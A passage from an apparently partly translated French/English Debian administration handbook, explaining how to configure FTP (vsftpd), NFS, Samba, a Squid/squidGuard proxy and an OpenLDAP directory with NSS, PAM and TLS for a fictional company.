Note also that the log files created by logrotate need to be readable by everyone, especially AWStats. This is ensured by changing /etc/logrotate.d/apache2 to include create 644 root adm (instead of the default 640 permissions) for example. But please refer to /usr/share/doc/awstats/README.Debian.gz for a more extensive documentation about this topic and alternatives.

11.3. Serveur de fichiers FTP

Le protocole de transfert de fichiers FTP (File Transfer Protocol) est un des premiers protocoles d'Internet (la RFC 959 date de 1985 !). Il a servi à diffuser des fichiers avant même l'invention du Web (la RFC 1945 décrivant le protocole HTTP/1.0 date de 1996 mais ce dernier existait depuis 1990).

This protocol allows both file uploads and file downloads; for this reason, it is still widely used to deploy updates to a website hosted by one's Internet service provider (or any other entity hosting websites). In these cases, access is enforced with a user identifier and password; on successful authentication, the FTP server grants read-write access to that user's home directory.

SECURITY FTP, FTPS, and SFTP

FTP is not a secure protocol. User names, passwords, and data are transported in clear text. To increase the security, one can use FTP via implicit (enforced) or explicit (requested) SSL/TLS, also known as FTPS, but not to be confused with SFTP, the SSH File Transfer Protocol, an alternative file transfer implementation using SSH. Many FTP server packages in Debian support FTPS.

D'autres serveurs FTP servent essentiellement à diffuser des fichiers que les gens souhaitent télécharger. C'est le cas, par exemple, avec les paquets Debian. Le contenu de ces serveurs FTP est récupéré depuis divers autres serveurs géographiquement éloignés et mis à disposition des utilisateurs locaux. Dans ce cas, l'authentification du client n'est pas nécessaire ; on parle de FTP anonyme et l'accès est en lecture seule. En réalité, le client s'authentifie avec le nom d'utilisateur anonymous et un mot de passe quelconque (qui est souvent, par convention, l'adresse électronique de l'usager).

Many FTP servers are available in Debian (ftpd(-ssl), proftpd-basic, pure-ftpd and so on), which all provide the virtual ftp-server package. Please note that the pyftpd package, however, has been removed from the Debian project due to not being actively maintained anymore and being incompatible with Python 3. The Falcot Corp administrators picked vsftpd because they only use the FTP server to distribute a few files (including a Debian package repository); since they don't need advanced features, they chose to focus on the security aspects.

L'installation du paquet entraîne la création d'un utilisateur système ftp. Ce compte est systématiquement employé pour gérer les connexions FTP anonymes et son répertoire personnel (/srv/ftp/) est la racine de l'arborescence mise à disposition des utilisateurs se connectant sur le service. La configuration par défaut (telle que détaillée dans /etc/vsftpd.conf) nécessite quelques modifications pour répondre au simple besoin de mise à disposition publique de gros fichiers : l'accès anonyme doit être activé (anonymous=YES) et l'accès (en lecture seule) des utilisateurs locaux doit être désactivé (local_enable=NO). Ce dernier point est particulièrement important car le protocole FTP n'utilise pas de chiffrement et le mot de passe de l'utilisateur pourrait être intercepté à la volée.

FTP and FTPS resources can be accessed with a variety of clients, with and without a graphical user interface, and they can also be mounted locally using the curlftpfs command from the similarly named package.

11.4. Serveur de fichiers NFS

NFS (Network File System) est un protocole qui permet d'accéder à un système de fichiers à distance par le réseau, pris en charge par tous les systèmes Unix.

SPECIFIC CASE Microsoft Windows and NFS Shares

When older or (so called) "Home" variants of Windows are involved, usually Samba (Section 11.5, « Partage Windows avec Samba ») must be used instead of NFS. Modern Windows Server and "Pro" or "Enterprise" Desktop solutions however have built-in support for NFS. After installation of the "Services for NFS" components NFS shares can be accessed and temporarily or permanently mounted like any other network share. Be aware of possible encoding issues in file names.

As an alternative Debian can be installed on Windows 10 Pro and higher. It requires the installation of the Windows Subsystem for Linux (WSL) component and the Debian app from the Windows store.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

NFS est un outil très utile. S'il avait de nombreuses limitations auparavant, elles ont pour la plupart disparu avec la version 4 du protocole. L'inconvénient est que la dernière version de NFS est désormais plus difficile à configurer dès que l'on veut utiliser des fonctions de sécurité de base telles que l'authentification et le chiffrement, puisqu'il repose sur Kerberos pour ces fonctionnalités. Et sans ces deux dernières, l'utilisation du protocole NFS doit se limiter à un réseau local de confiance car les données qui circulent sur le réseau ne sont pas chiffrées (un sniffer peut les intercepter) et les droits d'accès sont accordés en fonction de l'adresse IP du client (qui peut être usurpée).

DOCUMENTATION NFS howto

Trouver de la bonne documentation sur NFSv4 est assez difficile. Voici quelques liens vers des explications de qualité variable mais qui donnent au moins quelques indications (en anglais) sur ce qu'il convient de faire.

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. Sécuriser NFS (au mieux)

Si les fonctionnalités de sécurité de Kerberos ne sont pas utilisées, il faut s'assurer que seules les machines autorisées à l'employer peuvent se connecter aux différents serveurs RPC qui lui permettent de fonctionner, car le protocole de base considère les données reçues du réseau comme des données sûres. Le pare-feu doit donc interdire l'usurpation d'adresse IP (IP spoofing) pour qu'une machine extérieure ne puisse pas se faire passer pour une machine intérieure, et les différents ports employés doivent être restreints aux machines devant accéder aux partages NFS.

B.A.-BA RPC

RPC (Remote Procedure Call, ou appel de procédure distante) est un standard Unix pour des services distants. NFS est un service RPC.

Les services RPC s'enregistrent dans un annuaire, le portmapper. Un client désireux d'effectuer une requête NFS s'adresse au portmapper (port 111 en TCP ou UDP) et lui demande où se trouve le serveur NFS. On lui répond généralement en indiquant le port 2049 (port par défaut pour NFS). Tous les services RPC ne disposent pas nécessairement d'un port fixe.

Les anciennes versions du protocole nécessitaient d'autres services RPC qui utilisaient des ports assignés dynamiquement. Heureusement, avec la version 4 de NFS, seul le port 2049 (pour NFS) et 111 (pour l'annuaire, le portmapper) sont nécessaires et ils sont donc faciles à filtrer avec le pare-feu.

11.4.2. Serveur NFS

Le serveur NFS est intégré au noyau Linux ; Debian le compile dans ses noyaux sous forme de module. Pour l'activer automatiquement à chaque démarrage, il faut installer le paquet nfs-kernel-server, qui contient les scripts d'initialisation adéquats.

The NFS server configuration file(s), /etc/exports and /etc/exports.d/, lists the directories that are made available over the network (exported). For each NFS share, only the given list of machines is granted access. More fine-grained access control can be obtained with a few options. The syntax for this file is quite simple:

/repertoire/a/partager machine1(option1,option2,...) machine2(...) ...

Il est important de remarquer qu'avec NFSv4, tous les répertoires exportés doivent faire partie d'une seule et même arborescence, et que le répertoire racine de cette arborescence doit être exporté et identifié avec l'option fsid=0 ou fsid=root.

Chaque machine est identifiée par son nom DNS ou son adresse IP. Il est aussi possible de spécifier un ensemble de machines en employant la syntaxe *.falcot.com ou en décrivant une plage complète d'adresses IP (exemples : 192.168.0.0/255.255.255.0, 192.168.0.0/24).

Par défaut, un partage n'est accessible qu'en lecture seule (option ro comme read only). L'option rw (comme read-write) donne un accès en lecture/écriture. Les clients NFS doivent se connecter depuis un port réservé à root (c'est-à-dire inférieur à 1 024) à moins que l'option insecure (« pas sûr ») n'ait été employée (l'option secure — « sûr » — est implicite en l'absence de insecure, mais on peut quand même la mentionner).

Le serveur ne répond à une requête NFS que lorsque l'opération sur disque a été complétée (option sync). L'option async (asynchrone) désactive cette fonctionnalité et améliore quelque peu les performances, au détriment de la fiabilité puisqu'il subsiste alors un risque de perte de données en cas de crash du serveur (des données acquittées par le serveur NFS n'auront pas été sauvegardées sur le disque avant le crash). La valeur par défaut de cette option ayant changé récemment (par rapport à l'historique de NFS), il est recommandé de toujours mentionner explicitement l'option souhaitée.

In order to not give root access to the filesystem to any NFS client, all queries appearing to come from a root user are considered by the server as coming from the nobody user. This behavior corresponds to the root_squash option, and is enabled by default. The no_root_squash option, which disables this behavior, is risky and should only be used in controlled environments. If all users should be mapped to the user nobody, use all_squash. The anonuid=uid and anongid=gid options allow specifying another fake user to be used instead of UID/GID 65534 (which corresponds to user nobody and group nogroup).

Avec NFSv4, il est possible d'ajouter une option sec pour préciser le niveau de sécurité souhaité : sec=sys est la valeur par défaut sans aucune sécurité particulière, sec=krb5 active uniquement l'authentification, sec=krb5i y ajoute une protection d'intégrité, et sec=krb5p est le plus haut niveau qui inclut la protection de la confidentialité (avec le chiffrement des données). Pour que cela puisse marcher, une installation fonctionnelle de Kerberos est nécessaire (ce service n'est pas traité par ce livre).

D'autres options existent encore, que vous découvrirez dans la page de manuel exports(5).

ATTENTION Première installation

The file /etc/exports does not list any valid NFS shares on initial installation. Once either this file or any file in /etc/exports.d/ has been edited or added to contain valid entries, the NFS server must be restarted with either of the following commands:

# exportfs -ra

# systemctl start nfs-kernel-server

11.4.3. Client NFS

As with other filesystems, integrating an NFS share into the system hierarchy requires mounting (and the nfs-common package). Since this filesystem has its peculiarities, a few adjustments were required in the syntax of the mount command and the /etc/fstab file.

Exemple 11.19. Montage manuel avec la commande mount

# mount -t nfs4 -o rw,nosuid arrakis.interne.falcot.com:/partage /srv/partage

Exemple 11.20. Entrée NFS dans le fichier /etc/fstab

arrakis.interne.falcot.com:/partage /srv/partage nfs4 rw,nosuid 0 0

L'entrée ci-dessus monte automatiquement à chaque démarrage le répertoire NFS /partage/ présent sur le serveur arrakis dans le répertoire local /srv/partage/. L'accès demandé est en lecture/écriture (paramètre rw). L'option nosuid est une mesure de protection qui supprime tout bit setuid ou setgid présent sur les programmes contenus dans le partage NFS. Si le répertoire NFS est dédié au stockage de documents, il est recommandé d'employer de plus l'option noexec qui empêche l'exécution de programmes par NFS. Il est important de noter que sur le serveur, le répertoire partage est situé sous l'export de la racine NFSv4 (par exemple /export/partage), ce n'est pas un répertoire de premier niveau de l'arborescence.

La page de manuel nfs(5) détaille toutes les options possibles.

11.5. Partage Windows avec Samba

Samba est une suite d'outils qui permettent de gérer le protocole SMB (aussi appelé « CIFS ») sous Linux. Ce dernier est employé par Windows pour accéder aux partages réseau et aux imprimantes partagées.

Samba sait également jouer le rôle de contrôleur de domaine Windows. C'est un outil extraordinaire pour assurer une cohabitation parfaite entre les serveurs sous Linux et les machines de bureautique encore sous Windows.

11.5.1. Samba en serveur

Le paquet Debian samba contient les deux principaux serveurs de Samba 4 (smbd et nmbd).

DOCUMENTATION Pour aller plus loin

The Samba server is extremely configurable and versatile, and can address a great many different use cases matching very different requirements and network architectures. This book only focuses on the use case where Samba is used as a standalone server, but it can also be an NT4 Domain Controller or a full Active Directory Domain Controller, or a simple member of an existing domain (which could be managed by a Windows server).

The samba package contains all the necessary manual pages and in /usr/share/doc/samba/examples/ a wealth of commented example files. If you are looking for a more comprehensive documentation, you may check the Samba website.

→ https://www.samba.org/samba/docs/

OUTIL Authentifier à l'aide d'un serveur Windows

Winbind permet d'utiliser un serveur Windows comme serveur d'authentification et s'intègre à PAM et à NSS. Il est ainsi possible de mettre en place des machines Linux où tous les utilisateurs d'un domaine Windows disposeront automatiquement d'un compte.

More information can be found in the /usr/share/doc/libpam-winbind/examples/pam_winbind/ directory of the libpam-winbind package.

11.5.1.1. Configuration avec debconf

The package sets up a minimal configuration during the initial installation in /etc/samba/smb.conf by plainly copying /usr/share/samba/smb.conf. So you should really run dpkg-reconfigure samba-common to adapt it:

On first installation the only piece of required information is the name of the workgroup where the Samba server will belong (the answer is FALCOTNET in our case).

In case of a package update (from the old stable Debian version) or if the SMB server has already been configured to use a WINS server (wins server), the package also proposes identifying the WINS server from the information provided by the DHCP daemon. The Falcot Corp administrators rejected this option, since they intend to use the Samba server itself as the WINS server.

11.5.1.2. Configuration manuelle

11.5.1.2.1. Modifications à smb.conf

Pour adapter le serveur aux besoins de Falcot, il faut modifier d'autres options dans le fichier de configuration de Samba, /etc/samba/smb.conf. Les extraits ci-dessous résument les changements effectués au sein de la section [global].

[...]

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of

workgroup = FALCOTNET

[...]

# Windows Internet Name Serving Support Section:

# WINS Support - Tells the NMBD component of Samba to enable its WINS Server

wins support = yes

[...]

####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible

# values are "standalone server", "member server", "classic primary

# domain controller", "classic backup domain controller", "active

# directory domain controller".

#

# Most people will want "standalone server" or "member server".

# Running as "active directory domain controller" will require first

# running "samba-tool domain provision" to wipe databases and create a

# new domain.

server role = standalone server

obey pam restrictions = yes

[...]

# "security = user" is always a good idea. This will require a Unix account

# in this server for every user accessing the server.

security = user

[...]

Indicates that Samba should act as a Netbios name server (WINS) for the local network. This option had been removed from the default configuration in Buster and must be added manually if desired.

C'est la valeur par défaut de ce paramètre. Comme il est central à la configuration de Samba, il est toutefois raisonnable de le renseigner de manière explicite. Chaque utilisateur doit s'authentifier avant de pouvoir accéder au moindre partage.

11.5.1.2.2. Ajout des utilisateurs

Chaque utilisateur de Samba ayant besoin d'un compte sur le serveur, il faut créer les comptes Unix puis enregistrer chaque utilisateur dans la base de données de Samba. La création des comptes Unix se réalise tout à fait normalement (avec la commande adduser par exemple).

L'ajout d'un utilisateur existant dans la base de données de Samba s'effectue par la commande smbpasswd -a utilisateur, qui demande le mot de passe interactivement.

On supprime un utilisateur avec la commande smbpasswd -x utilisateur. Un compte Samba peut n'être que gelé quelque temps avec la commande smbpasswd -d utilisateur, puis réactivé avec smbpasswd -e utilisateur.

11.5.2. Samba en client

Les fonctionnalités clientes de Samba donnent à une machine Linux l'accès à des partages Windows et à des imprimantes partagées. Les paquets Debian cifs-utils et smbclient regroupent les programmes clients nécessaires.

11.5.2.1. Le programme smbclient

Le programme smbclient interroge tous les serveurs SMB. Il accepte l'option -U utilisateur pour se connecter au serveur sous une autre identité. smbclient //serveur/partage accède au partage de manière interactive (comme le client FTP en ligne de commande). smbclient -L serveur donne la liste des partages disponibles (et visibles).

11.5.2.2. Monter un partage Windows

La commande mount permet de monter un partage Windows dans l'arborescence du système Linux (avec l'aide de mount.cifs fourni par cifs-utils).

Exemple 11.21. Montage d'un partage Windows

mount -t cifs //arrakis/shared /shared \

-o credentials=/etc/smb-credentials

Le fichier /etc/smb-credentials ne sera pas lisible par les utilisateurs et respectera le format suivant :

username = utilisateur

password = mot_de_passe

On peut préciser d'autres options sur la ligne de commande, que la page de manuel mount.cifs(1) détaille. Deux options intéressantes permettent de forcer l'utilisateur (uid) et le groupe (gid) propriétaire des fichiers accessibles sur le montage afin de ne pas restreindre l'accès à root.

Il est aussi possible de configurer le montage d'un partage Windows dans /etc/fstab :

//serveur/shared /shared cifs credentials=/etc/smb-credentials

Unmounting an SMB/CIFS share is done with the standard umount command.

11.5.2.3. Imprimer sur une imprimante partagée

Cups est une solution élégante pour imprimer sur une imprimante partagée par une machine Windows depuis un poste Linux. Si le paquet smbclient est installé, Cups offre la possibilité d'installer automatiquement une imprimante partagée par un poste Windows.

Voici les étapes à suivre :

- Entrer dans l'interface de configuration de CUPS : http://localhost:631/admin

- Cliquer sur « Ajouter une imprimante ».

- Choisir le périphérique de l'imprimante : Windows Printer via SAMBA.

- L'URI décrivant l'imprimante doit avoir la forme suivante :
smb://utilisateur:motdepasse@serveur/imprimante.

- Saisir le nom qui identifiera cette imprimante de manière unique, puis une description pour cette imprimante et sa localisation. Ces informations seront utiles aux utilisateurs, et leur permettront d'identifier les imprimantes.

- Indiquer les noms du fabricant et du modèle de l'imprimante, ou fournir directement un fichier de description d'imprimante (PPD).

Et voilà, l'imprimante est fonctionnelle !

11.6. Mandataire HTTP/FTP

Un mandataire HTTP/FTP (ou proxy) est un intermédiaire pour les connexions HTTP et/ou FTP. Son rôle est double :

- Celui de serveur cache : il garde une copie des documents téléchargés pour éviter de les rapatrier plusieurs fois.

- Celui de serveur filtrant s'il est obligatoire et que les connexions sortantes sont par ailleurs bloquées. En tant qu'intermédiaire inévitable, il a en effet la liberté d'effectuer ou non la requête demandée.

Le serveur mandataire employé par Falcot SA est Squid.

11.6.1. Installation

The squid Debian package only contains the modular (caching) proxy. Turning it into a filtering server requires installing the additional squidguard package. In addition, squid-cgi provides a querying and administration interface for a Squid proxy.

Préalablement à l'installation, il faut vérifier que le système est capable d'identifier son nom complet. La commande hostname -f doit renvoyer un nom long (incluant un nom de domaine). Si ce n'est pas le cas, il faut modifier /etc/hosts pour documenter le nom complet du système (exemple : arrakis.falcot.com). N'hésitez pas à faire valider le nom officiel de l'ordinateur avec votre administrateur réseau afin de ne pas créer de conflits inutiles.

11.6.2. Configuration d'un cache

Enabling the caching server feature is a simple matter of editing the /etc/squid/squid.conf configuration file and allowing machines from the local network to run queries through the proxy. The following example shows the modifications made by the Falcot Corp administrators:

Exemple 11.22. The /etc/squid/squid.conf file (excerpts)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS

#

include /etc/squid/conf.d/*

# Example rule allowing access from your local networks.

# Adapt localnet in the ACL section to list your (internal) IP networks

# from where browsing should be allowed

acl our_networks src 192.168.1.0/24 192.168.2.0/24

http_access allow our_networks

http_access allow localhost

# And finally deny all other access to this proxy

http_access deny all

11.6.3. Configuration d'un filtre

squid itself does not perform the filtering; this action is delegated to squidGuard. The former must then be configured to interact with the latter. This involves adding the following directive to the /etc/squid/squid.conf file:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

The /usr/lib/cgi-bin/squidGuard.cgi CGI program also needs to be installed, using /usr/share/doc/squidguard/examples/squidGuard.cgi as a starting point. Required modifications to this script are the $proxy and $proxymaster variables (the name of the proxy and the administrator's contact email, respectively). The $image and $redirect variables should point to existing images representing the rejection of a query.

The filter is enabled with the systemctl reload squid command. However, since the squidguard package does no filtering by default, it is the administrator's task to define the policy. This can be done by creating the /etc/squid/squidGuard.conf file (using /etc/squidguard/squidGuard.conf.default as template if required).

Après chaque modification du fichier de configuration de squidGuard ou de l'une des listes de domaines ou d'URL qu'il mentionne, il est nécessaire de régénérer la base de données de travail. Cela s'effectue en exécutant la commande update-squidguard. Le format du fichier de configuration est documenté sur le site web suivant :

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVE E2guardian (a DansGuardian Fork)

The e2guardian package, a DansGuardian fork, is an alternative to squidguard. This software does not simply handle a blacklist of forbidden URLs, it can also take advantage of content and anti-virus scanning and it provides broad authentication support.

11.7. Annuaire LDAP

OpenLDAP implémente le protocole LDAP ; ce n'est qu'une base de données adaptée pour gérer des annuaires. Son intérêt est multiple : l'emploi d'un serveur LDAP aide à centraliser la gestion des comptes des utilisateurs et des droits associés. De plus, la base de données LDAP est facile à dupliquer, ce qui permet de mettre en place plusieurs serveurs synchronisés. En cas de croissance rapide du réseau, il sera aisé de monter en puissance en répartissant la charge sur plusieurs serveurs.

Les données LDAP sont structurées et hiérarchisées. Les « schémas » définissent les objets que la base peut stocker avec la liste de tous les attributs possibles. La syntaxe qui permet de désigner un objet de la base traduit cette structure, même si elle n'est pas facile à maîtriser.

11.7.1. Installation

Le paquet slapd contient le serveur OpenLDAP. Le paquet ldap-utils renferme des utilitaires en ligne de commande pour interagir avec les serveurs LDAP.

Installing slapd usually asks only for the administrator's password and the resulting database is unlikely to suit your needs. Fortunately a simple dpkg-reconfigure slapd will let you reconfigure the LDAP database with more details:

- Faut-il ignorer la configuration de slapd ? Non, bien sûr, nous allons configurer ce service.

- Quel est le nom de domaine ? « falcot.com ».

- Quel est le nom de l'organisation ? « Falcot SA ».

- Il faut saisir un mot de passe administrateur pour la base de données.

- Quel est le module de base de données à utiliser ? « MDB ».

- La base doit-elle être supprimée si le paquet slapd est supprimé ? Non. Mieux vaut éviter de perdre ces données suite à une mauvaise manipulation.

- Faut-il déplacer l'ancienne base de données ? Cette question n'est posée que si l'on déclenche une nouvelle configuration alors qu'une base de données existe déjà. Ne répondre « oui » que si l'on veut effectivement repartir d'une base propre, par exemple si l'on exécute dpkg-reconfigure slapd juste après l'installation initiale.

B.A.-BA Format LDIF

Un fichier LDIF (LDAP Data Interchange Format, ou format d'échange de données de LDAP) est un fichier textuel portable décrivant le contenu (ou une partie de celui-ci) d'une base de données LDAP afin de pouvoir intégrer les données dans n'importe quel autre serveur LDAP.

Une base de données minimale est maintenant configurée, ce qu'on peut vérifier en l'interrogeant directement :

$ ldapsearch -x -b dc=falcot,dc=com

# extended LDIF

#

# LDAPv3

# base <dc=falcot,dc=com> with scope subtree

# filter: (objectclass=*)

# requesting: ALL

#

# falcot.com

dn: dc=falcot,dc=com

objectClass: top

objectClass: dcObject

objectClass: organization

o: Falcot Corp

dc: falcot

# admin, falcot.com

dn: cn=admin,dc=falcot,dc=com

objectClass: simpleSecurityObject

objectClass: organizationalRole

cn: admin

description: LDAP administrator

# search result

search: 2

result: 0 Success

# numResponses: 2

# numEntries: 1

La requête a renvoyé deux objets : l'organisation dans son ensemble et l'administrateur.

11.7.2. Remplissage de l'annuaire

La base de données vide n'ayant pas grand intérêt, il s'agit maintenant d'y intégrer l'ensemble des annuaires existants, notamment les utilisateurs, groupes, services et hôtes.

Le paquet Debian migrationtools offre un ensemble de scripts qui permettent justement de récupérer les informations depuis les annuaires Unix standards (/etc/passwd, /etc/group, /etc/services, /etc/hosts, etc.), puis de les intégrer dans la base de données LDAP.

Après installation du paquet, il faut éditer le fichier /etc/migrationtools/migrate_common.ph pour activer les options IGNORE_UID_BELOW et IGNORE_GID_BELOW (qu'il suffit de décommenter) et mettre à jour DEFAULT_MAIL_DOMAIN/DEFAULT_BASE.

La mise à jour à proprement parler se fait en exécutant la commande migrate_all_online.sh comme suit :

# cd /usr/share/migrationtools

# PERL5LIB="${PERL5LIB}:/etc/migrationtools" LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

Le script migrate_all_online.sh pose plusieurs questions auxquelles il faut répondre correctement pour indiquer la base de données LDAP dans laquelle les données vont être intégrées. Le Tableau 11.1 résume les réponses données dans le cas de Falcot.

Tableau 11.1. Réponses aux questions du script migrate_all_online.sh

Question

Réponse

X.500 naming context

dc=falcot,dc=com

LDAP server hostname

localhost

Manager DN

cn=admin,dc=falcot,dc=com

Bind credentials

Le mot de passe administrateur

Create DUAConfigProfile

Non

You might notice that we extend the PERL5LIB variable. This is due to Debian bug report #982666.

→ https://bugs.debian.org/982666

As you might have also noticed, we deliberately ignore migration of the /etc/aliases file, since the standard schema as provided by Debian does not include the structures that this script uses to describe email aliases. Should we want to integrate this data into the directory, the /etc/ldap/schema/misc.schema file should be added to the standard schema.

OUTIL Explorer un annuaire LDAP

Le programme jxplorer (du paquet Debian éponyme) est un outil graphique qui permet d'explorer et de modifier une base de données LDAP. Il est intéressant et aide notamment à mieux se représenter la structure hiérarchique des données LDAP.

On peut également noter l'emploi de l'option -c de la commande ldapadd lui demandant de ne pas s'interrompre en cas d'erreur. Elle est nécessaire car la conversion du fichier /etc/services génère quelques erreurs que l'on peut ignorer sans soucis.

11.7.3. Utiliser LDAP pour gérer les comptes

Maintenant que la base de données LDAP contient des informations, il est temps de les utiliser. Cette section explique comment paramétrer un système Linux afin que les différents annuaires système emploient la base de données LDAP de manière transparente.

11.7.3.1. Configuration de NSS

NSS (Name Service Switch, ou multiplexeur de service de noms, voir encadré POUR ALLER PLUS LOIN Base de données système et NSS) est un système modulaire pour définir ou récupérer les informations des annuaires système. Pour utiliser LDAP comme une source de données NSS, il faut mettre en place le paquet libnss-ldap. Son installation pose plusieurs questions dont les réponses sont résumées dans le Tableau 11.2.

Tableau 11.2. Configuring the libnss-ldap package:

Question

Réponse

LDAP server URI (Uniform Resource Identifier)

ldapi://ldap.falcot.com

Nom distinctif de la base de recherche

dc=falcot,dc=com

Version de LDAP à utiliser

3

Compte LDAP pour le super-utilisateur (root)

cn=admin,dc=falcot,dc=com

Mot de passe du compte super-utilisateur LDAP

Le mot de passe administrateur

Allow LDAP admin account behave like local root?

yes

La base demande-t-elle un login ?

Non

The /etc/nsswitch.conf file then needs to be modified, so as to configure NSS to use the freshly-installed ldap module. You can use the example provided in /usr/share/doc/libnss-ldap/examples/nsswitch.ldap or edit your existing configuration.

Exemple 11.23. Fichier /etc/nsswitch.conf

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $

#

# An example file that could be copied over to /etc/nsswitch.conf; it

# uses LDAP conjunction with files.

#

# "hosts:" and "services:" in this file are used only if the

# /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports.

# the following lines obviate the "+" entry in /etc/passwd and /etc/group.

passwd:         files ldap

shadow:         files ldap

group:          files ldap

# consult DNS first, we will need it to resolve the LDAP host. (If we

# can't resolve it, we're in infinite recursion, because libldap calls

# gethostbyname(). Careful!)

hosts:          dns ldap

# LDAP is nominally authoritative for the following maps.

services:   ldap [NOTFOUND=return] files

networks:   ldap [NOTFOUND=return] files

protocols:  ldap [NOTFOUND=return] files

rpc:        ldap [NOTFOUND=return] files

ethers:     ldap [NOTFOUND=return] files

# no support for netmasks, bootparams, publickey yet.

netmasks:   files

bootparams: files

publickey:  files

automount:  files

# I'm pretty sure nsswitch.conf is consulted directly by sendmail,

# here, so we can't do much here. Instead, use bbense's LDAP

# rules ofr sendmail.

aliases:    files

sendmailvars:   files

# Note: there is no support for netgroups on Solaris (yet)

netgroup:   ldap [NOTFOUND=return] files

Le module ldap, systématiquement ajouté au début, est donc consulté en premier. Le service hosts fait exception puisque pour contacter le serveur LDAP, il faut consulter le DNS au préalable (pour résoudre ldap.falcot.com). Sans cette précaution, une requête de résolution de nom de machine consulterait le serveur LDAP, ce qui déclencherait une résolution du nom du serveur LDAP, etc., produisant une boucle infinie.

Si l'on souhaite que le serveur LDAP soit la référence unique (et ne pas prendre en compte les fichiers locaux employés par le module files), il est possible de configurer chaque service avec la syntaxe suivante :

service: ldap [NOTFOUND=return] files.

Si l'entrée demandée n'existe pas dans le serveur LDAP, la réponse sera « n'existe pas » même si la ressource existe dans l'un des fichiers locaux, qui ne seront employés que lorsque le service LDAP sera hors d'usage.

11.7.3.2. Configuration de PAM

La configuration de PAM (voir l'encadré EN COULISSES /etc/environment et /etc/default/locale) proposée dans cette section permettra aux applications d'effectuer les authentifications nécessaires à partir des données de la base LDAP.

ATTENTION Impossible de s'identifier

Le changement de la configuration PAM standard employée par les divers programmes est une opération sensible. En cas de mauvaise manipulation, il peut être impossible de s'authentifier, donc de se connecter. Pensez donc à garder un shell root ouvert en parallèle pour corriger vos erreurs le cas échéant.

Il faut installer le module LDAP pour PAM, qui se trouve dans le paquet Debian libpam-ldap. Son installation pose des questions similaires à celles de libnss-ldap et d'ailleurs, certains paramètres de configuration (comme l'URI du serveur LDAP) sont tout simplement partagés avec le paquet libnss-ldap. Les réponses sont résumées dans le Tableau 11.3.

Tableau 11.3. Configuration de libpam-ldap

Question

Réponse

Le super-utilisateur local doit-il être un administrateur de la base LDAP ?

Oui. Cela permet d'utiliser la commande passwd habituelle pour changer les mots de passe stockés dans la base LDAP.

La base LDAP demande-t-elle une identification ?

Non

LDAP account for root:

cn=admin,dc=falcot,dc=com

LDAP administrative password:

Le mot de passe administrateur de la base LDAP

Local encryption algorithm to use for passwords:

crypt

PAM profiles to enable:

LDAP Authentication is among the enabled profiles

L'installation de libpam-ldap adapte automatiquement la configuration PAM par défaut définie dans les fichiers /etc/pam.d/common-auth, /etc/pam.d/common-password et /etc/pam.d/common-account. Pour effectuer cela, le paquet s'appuie sur l'utilitaire pam-auth-update prévu à cet usage et fourni par le paquet libpam-runtime. L'administrateur peut également exécuter pam-auth-update pour activer et désactiver à sa guise les modules PAM présents sur le système.

11.7.3.3. Sécuriser les échanges de données LDAP

LDAP est par défaut transporté en clair sur le réseau, ce qui signifie que les mots de passe chiffrés circulent sans précaution particulière. Repérables, ils peuvent donc subir une attaque de type dictionnaire. Pour éviter ce désagrément, il convient d'employer une couche supplémentaire de chiffrement et cette section détaille comment procéder.

11.7.3.3.1. Configuration côté serveur

The first step is to create a key pair (comprising a public key and a private key) for the LDAP server. The Falcot administrators reuse easy-rsa to generate it (see Section 10.2.2, « Infrastructure de clés publiques easy-rsa »). Running ./easyrsa build-server-full ldap.falcot.com nopass will ask you about the “common name”. The answer to that question must be the fully-qualified hostname for the LDAP server; in our case, ldap.falcot.com.

This command creates a certificate in the pki/issued/ldap.falcot.com.crt file; the corresponding private key is stored in pki/private/ldap.falcot.com.key.

Maintenant que ces clés ont été installées à leur emplacement standard, il faut s'assurer que le fichier contenant leur partie privée est lisible par le serveur LDAP, qui fonctionne avec l'identité utilisateur openldap :

# adduser openldap ssl-cert

Adding user `openldap' to group `ssl-cert' ...

Adding user openldap to group ssl-cert

Done.

# mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key

# chown root.ssl-cert /etc/ssl/private/ldap.falcot.com.key

# chmod 0640 /etc/ssl/private/ldap.falcot.com.key

# mv pki/issued/ldap.falcot.com.crt /etc/ssl/certs/ldap.falcot.com.pem

# chown root.root /etc/ssl/certs/ldap.falcot.com.pem

# chmod 0644 /etc/ssl/certs/ldap.falcot.com.pem

Le démon slapd doit aussi être configuré pour utiliser ces clés de chiffrement. La configuration du serveur LDAP est gérée de manière dynamique : comme elle est stockée dans une partie dédiée de l'annuaire, elle peut être mise à jour avec des opérations LDAP normales sur cette hiérarchie cn=config (et le serveur met à jour /etc/ldap/slapd.d à la volée pour rendre cette configuration persistante). Pour modifier la configuration, on utilisera donc ldapmodify :

Exemple 11.24. Configuration de slapd pour la prise en charge du chiffrement

# cat >ssl.ldif <<END

dn: cn=config

changetype: modify

add: olcTLSCertificateKeyFile

olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key

-

add: olcTLSCertificateFile

olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem

END

# ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "cn=config"

# systemctl restart slapd.service

# ldapsearch -Y EXTERNAL -H ldapi:/// -b cn=config -s base | grep TLS

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem

olcTLSCertificateKeyFile: /etc/ssl/certs/ldap.falcot.com.key

OUTIL Éditer un annuaire LDAP avec ldapvi

